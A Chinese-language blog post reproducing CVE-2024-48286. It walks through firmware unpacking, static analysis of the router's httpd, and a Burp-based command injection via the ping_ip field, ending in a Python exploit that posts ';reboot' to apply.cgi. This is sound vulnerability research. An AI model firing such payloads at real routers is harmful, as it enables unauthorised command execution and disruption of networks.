Cisco Linksys E3000 远程命令执行漏洞复现(CVE-2024-48286)

Cisco命令执行
2024-12-20 22:29
30345

E3000

型号:Cisco Linksys E3000
固件版本:1.0.06.002_US

0x01 固件分析

在这个链接下下载固件:
https://drivers.softpedia.com/get/Router-Switch-Access-Point/Linksys/Linksys-E3000v1-Router-Firmware-1006-Build-2.shtml
binwalk -Me解包获得固件文件内容
image.png
不难看出该路由器固件使用squashfs文件系统
用firmwalker跑一下文件目录
##################################### httpd
/usr/sbin/httpd
找到usr/sbin/httpd
checksec --file=httpd查看文件的保护情况:
image.png
可以看到并未开启NX保护和canary

0x02 CVE-2024-48286

漏洞描述:Linksys E3000 1.0.06.002_US is vulnerable to command injection via the diag_ping_start function.
根据漏洞描述,得知漏洞点位于diag_ping_start
用IDA打开httpd,定位diag_ping_start()函数
image.png
这里伪代码表示先用get_cgi()函数获取ping_ip的内容赋给变量cgi,然后用fopen()函数打开/dev/console
/dev/console: 这是一个特殊的设备文件,通常指向系统控制台。在Unix/Linux系统中,控制台设备通常是系统的物理控制台。
"w": 这个参数表示以写入模式打开文件。在控制台上打开文件通常用于向控制台输出数据或者进行一些系统级别的操作。
因此,fopen("/dev/console", "w") 函数调用会返回一个文件指针,允许程序向控制台输出数据。
然后使用fprintf()函数向控制台输出以下内容
"ip[%s] times[%s] size[%s]\n"
而这里的三个参数刚好对应之前get_cgi方法获取的三个参数,分别是ping_ip,ping_times,ping_size。
到这里我们就发现,这三个参数都可以被我们的requests修改,在程序中都是字符串格式的数据,因此通过修改ping_ip参数,我们可以执行我们自己的系统命令。
接下来的步骤就是寻找这个函数具体是由哪个php/asp/cgi调用的。
寻找它的过程出奇的简单,我们回到之前解压的固件目录下,用grep -ir ping_ip寻找包含ping_ip这个参数的文件,根据结果判断是Diagnostics.asp这个文件包含了ping_ip
image.png
启动burp suite,打开burp的chrome浏览器,输入路由器的ip地址+Diagnostics.asp(因为是linux系统服务器,所以需要注意大小写)
http://192.168.1.1/Diagnostics.asp;session_id=5d2df2ee1eebf57b077dcb6d41f24fc0
image.png
而这个页面就是我们的ping_ip参数的位置,输入任意内容,点击start to ping
然后查看burp的HTTP history,这个点击操作发送了一个名为apply.cgi的POST请求
而这个POST请求的Data段就是我们要找的ping_ip
image.png
右键把这个包发送到Repeater,然后修改ping_ip=后面的内容
这里我们把ping_ip修改为%3Breboot
%3B是URL码表示“;”,所以我们修改后的值为";reboot",这里的分号是为了将前面的命令结束,然后将reboot指令隔开单独执行。
因为这个路由器重启的速度还是挺快的,为观察到重启结果,我在终端输入一个持续的ping请求来检测路由器是否执行了重启操作
powershell : ping 192.168.1.1 -t
image.png
发送POST包之后观察到路由器上所有指示灯全部亮起,WiFi的SSID消失,命令执行成功
根据POST包编写EXP,其中session0在每次执行前需要获取后修改。
EXP:

import requests
session0 = "fd2c16d097bae215bcf480fb086b48ec"
cmd = ";reboot"

burp0_url = "http://192.168.1.1:80/apply.cgi;session_id="+session0
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.1.1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://192.168.1.1/Diagnostics.asp;session_id="+session0, "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"submit_button": "Diagnostics", "change_action": "gozila_cgi", "submit_type": "start_ping", "gui_action": '', "commit": "0", "ping_ip": cmd, "ping_size": "32", "ping_times": "5", "traceroute_ip": ''}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们